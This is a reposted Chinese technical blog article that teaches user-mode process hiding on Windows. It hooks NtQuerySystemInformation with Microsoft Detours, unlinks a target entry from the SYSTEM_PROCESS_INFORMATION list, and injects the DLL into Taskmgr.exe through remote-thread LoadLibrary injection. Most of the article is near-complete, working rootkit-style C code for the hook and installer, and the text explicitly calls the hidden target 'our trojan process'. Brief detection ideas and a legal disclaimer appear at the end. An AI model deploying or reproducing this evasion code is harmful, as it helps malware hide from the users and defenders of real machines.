文章总结: 本文介绍了利用Detours库HookNtQuerySystemInformation实现进程隐藏的实战技术。通过修改SYSTEM_PROCESS_INFORMATION链表的NextEntryOffset进行断链,使目标在任务管理器不可见。文章详述了DLL编写、Hook安装及远程注入流程,并分析了Ring3Hook局限性与内核检测对抗思路。 综合评分: 94 文章分类: 二进制安全,红队,免杀
精选11:Windows安全 | Inline Hook 实战(二)进程隐藏
八九 八九
希水涵精选录
2026年1月25日 08:49 山东
「希水涵精选录」是 ABC_123 运营的第2个公众号,主要转载经过筛选的优秀技术文章,欢迎大家积极投稿!
Part1 前言
在上一篇文章中,我们聊了 Inline Hook 的基本原理——修改函数头的 JMP 指令,以此劫持执行流。但如果在生产环境手搓汇编,会被各种指令长度、内存对齐、线程竞争教做人。因此这篇文章将介绍如何利用Detours实现hook并完成一定程度上的进程隐藏。
Part2 技术研究过程
- ## 0x01 为什么我们需要 Detours?
回顾一下,手动实现 Inline Hook 存在如下问题:
1. 原子性问题:你刚写了前两个字节的 JMP,CPU 上下文切换了,另一个线程执行到了这儿,程序崩了。
2. 指令截断:X64 的指令长度是不定长的。覆盖了 5 个字节,可能会把一条 6 字节指令截成了两半,影响后续执行。
3. Trampoline(跳板):为了调用原函数,得把覆盖掉的指令搬运到别处,还得修复这些指令里的相对偏移地址。
为了不掉头发,微软研究院推出了 Detours:1. 自动处理指令反汇编和重组;2. 支持事务模型(Transaction),保证 Hook 的原子性;3. 自动维护 Trampoline,让你在 Hook 函数里能像调用普通函数一样调用原函数。
https://github.com/microsoft/Detours
- ## 0x02 Detours使用
克隆到本地后,使用visual studio进行编译,区分为x86,以及x64。搜索:x64 Native Tools Command Prompt for VS。
切换到Detrous目录,nmake进行编译。
Detours 的 API 设计非常优雅,它把我们头疼的 VirtualAlloc、memcpy、计算指令长度(LDE)、解决指令截断等脏活累活全部封装好了。
- ## 0x03 任务管理器基础知识
要欺骗任务管理器(Taskmgr.exe),首先得知道它是怎么获取进程列表的。当我们打开任务管理器,它会逐层向下调用 API:
Taskmgr.exe -> Kernel32.dll (CreateToolhelp32Snapshot / EnumProcesses) -> Ntdll.dll -> NtQuerySystemInformation
最终,几乎所有查看系统信息的工具(包括 Process Hacker 等),在 Ring3 层都会汇聚到 ntdll.dll 导出的一个未文档化(Undocumented)函数:
NTSTATUS NtQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
当 SystemInformationClass 参数被设为 SystemProcessInformation (枚举值为 5) 时,这个函数会返回一个巨大的内存块,里面塞满了当前系统所有进程的信息。
核心数据结构:SYSTEM_PROCESS_INFORMATION。这个返回的内存块,本质上是一个单向链表。但它不是指针连接的,而是通过“偏移量(Offset)”连接的。我们来看下这个结构体在内存中的样子:
typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; // <--- 核心:指向下一个结构体的偏移量 ULONG NumberOfThreads; BYTE Reserved1[48]; UNICODE_STRING ImageName; // 进程名,比如 "notepad.exe" KPRIORITY BasePriority; HANDLE UniqueProcessId; // PID PVOID Reserved2; ULONG HandleCount; ULONG SessionId; PVOID Reserved3; SIZE_T PeakVirtualSize; // ... 后面还有很多字段} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
NextEntryOffset:这是最重要的字段。它告诉我们,下一个进程的信息距离当前地址有多少字节。如果这个值为 0,说明这是链表的最后一个节点。
- ## 0x04 断链核心原理
知道了数据结构,隐藏进程的思路就呼之欲出了。既然是一个链表,如果我们想隐藏中间的某个节点(比如我们的木马进程),我们只需要修改上一个节点的 NextEntryOffset,让它直接指向下下个节点,越过我们的目标即可。
断链后:
- ## 0x05 核心代码实现
Talk is cheap, show me the code. 我们基于 Microsoft Detours 库来实现这个逻辑。首先,我们需要定义好函数指针和 SYSTEM_PROCESS_INFORMATION 结构体(由于这是未公开 API,头文件通常需要自己去抠,或者引用 winternl.h 并补充定义)。
1. hook函数编写
这是整个工程的灵魂。当系统(比如任务管理器)调用 NtQuerySystemInformation 时,会先进入我们的这个函数。
// 原始函数的函数指针,用于保存“真身”typedef NTSTATUS (WINAPI *PNT_QUERY_SYSTEM_INFORMATION)( __in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength);
// 保存原始函数的地址,Detours 会用到PNT_QUERY_SYSTEM_INFORMATION RealNtQuerySystemInformation = (PNT_QUERY_SYSTEM_INFORMATION)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation");
// 我们自己的 Hook 函数NTSTATUS WINAPI HookedNtQuerySystemInformation( __in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength){ // 1. 先调用原始函数,获取真实的系统进程列表 // 如果不调用,我们就没有数据可以修改,任务管理器就白板了 NTSTATUS status = RealNtQuerySystemInformation( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength );
// 2. 检查调用是否成功,且请求的是否是进程信息 (枚举值 5) if (NT_SUCCESS(status) && SystemInformationClass == SystemProcessInformation) { // 转换指针,指向返回的内存块头部 PSYSTEM_PROCESS_INFORMATION pCurrent = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; PSYSTEM_PROCESS_INFORMATION pPrev = NULL;
// 3. 开始遍历链表 while (true) { // 获取当前节点的进程名 // 注意:ImageName.Buffer 可能为空(如 System Idle Process) if (pCurrent->ImageName.Buffer != NULL) { // 4. 判断是否是我们要隐藏的目标进程 // 这里假设我们要隐藏 "HideMe.exe" if (_wcsicmp(pCurrent->ImageName.Buffer, L"HideMe.exe") == 0) { // 找到了!准备断链!
if (pPrev) { // 情况A:如果你不是第一个节点 if (pCurrent->NextEntryOffset != 0) { // 核心操作:前一个节点的 Offset += 当前节点的 Offset // 效果:前一个节点直接跳过当前节点 pPrev->NextEntryOffset += pCurrent->NextEntryOffset; } else { // 情况B:如果你是最后一个节点 // 直接让前一个节点变成最后一个节点 pPrev->NextEntryOffset = 0; } } else { // 情况C:如果你是第一个节点(极少见,通常是 System) // 这种情况下由于没有 pPrev,处理起来比较麻烦, // 通常可以直接把内存数据往前挪,或者忽略不处理 }
// 注意:断链后,不要移动 pPrev,因为当前 pCurrent 已经被移除了 // pPrev 应该继续指向 pCurrent 之后的那个新节点 } else { // 如果不是目标进程,pPrev 跟进 pPrev = pCurrent; } } else { pPrev = pCurrent; }
// 移动到下一个节点 if (pCurrent->NextEntryOffset == 0) break; pCurrent = (PSYSTEM_PROCESS_INFORMATION)((PUCHAR)pCurrent + pCurrent->NextEntryOffset); } }
return status;}
2. 安装钩子
写好了 Hook 函数,还得把它挂上去。这里就轮到 Detours 登场了。
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // 禁用线程库调用以避免死锁 DisableThreadLibraryCalls(hModule);
// 初始化 Detours 事务 DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread());
// 核心:将我们的 Hooked 函数附加到 Real 函数上 // Detours 会自动修改内存、处理 Trampoline DetourAttach(&(PVOID&)RealNtQuerySystemInformation, HookedNtQuerySystemInformation);
// 提交事务 DetourTransactionCommit(); break;
case DLL_PROCESS_DETACH: // 卸载钩子,养成好习惯 DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourDetach(&(PVOID&)RealNtQuerySystemInformation, HookedNtQuerySystemInformation); DetourTransactionCommit(); break; } return TRUE;}
- ## 0x06 注入
代码写好了,编译成 HideProcessHook.dll。我们需要将其塞进目标进程,也就是Taskmgr.exe的内存空间。因为 NtQuerySystemInformation 是在 Taskmgr.exe 的进程空间内被调用的,根据 Copy-On-Write 机制和虚拟内存隔离原理,我们必须在这个进程内部修改函数,才能影响它。
最经典的注入方式:远程线程注入 (Remote Thread Injection)。其流程简述如下:
1. GetProcessId:找到任务管理器的 PID。
2. OpenProcess:打开进程,申请 PROCESS_ALL_ACCESS 权限。
3. VirtualAllocEx:在对方体内申请一块内存。
4. WriteProcessMemory:把我们 DLL 的完整路径(例如 C:\\Hacks\\HideProcessHook.dll)写到这块内存里。
- CreateRemoteThread:在对方进程里创建一个线程,线程的入口函数设为
LoadLibraryW,参数设为刚才写入的路径地址。
这样,任务管理器就会被迫调用 LoadLibrary 加载我们的 DLL。一旦 DLL 加载,DllMain 触发,Hook 生效,HideMe.exe 从此在列表中消失。完整项目代码在GitHub:https://github.com/x1a02/wechat。编译好HideMe.exe程序后执行,可在任务管理器看见。
执行TaskMgrHook.exe文件,成功hook,将HideMe程序隐藏。
但是还有一个问题,目前只是在R3层面对特定的程序进行hook,如果使用其他分析软件例如Process Hacker还是能看到HideMe这个进程。
Part3 总结与思考
至此,我们完成了一次完整的从 Ring3 API 劫持到进程隐藏的实战。把整个流程串起来如下:
1. 编写 DLL:利用 Detours Hook NtQuerySystemInformation,在回调中遍历链表并“断链”目标进程。
2. 编写注入器:将 DLL 注入到 Taskmgr.exe。
3. 效果:打开任务管理器,HideMe.exe隐藏。
攻防对抗的思考:既然我们能通过 Hook API 欺骗任务管理器,那安全软件怎么查杀呢?
1. 反汇编检查:检查 ntdll.dll 内存中的前几个字节是否被修改为 JMP。
2. 直接系统调用 (Syscall):杀软不走 Kernel32 也不走 Ntdll,直接手写汇编执行 syscall 指令进入内核,绕过所有 Ring3 的钩子。
3. 内核枚举:进入 Ring0,遍历 EPROCESS 结构链表(ActiveProcessLinks)
技术无止境,Hook 只是冰山一角。希望这篇文章能带你推开 Windows 对抗的大门。
希水涵精选录是ABC_123运营的第2个公众号,专注于转载精心筛选的优质技术文章,同时也欢迎大家积极投稿。
Contact me: 2332887682#qq.com** OR 0day123abc#gmail.com**
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:希水涵精选录 八九 八九《精选11:Windows安全 | Inline Hook 实战(二)进程隐藏》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论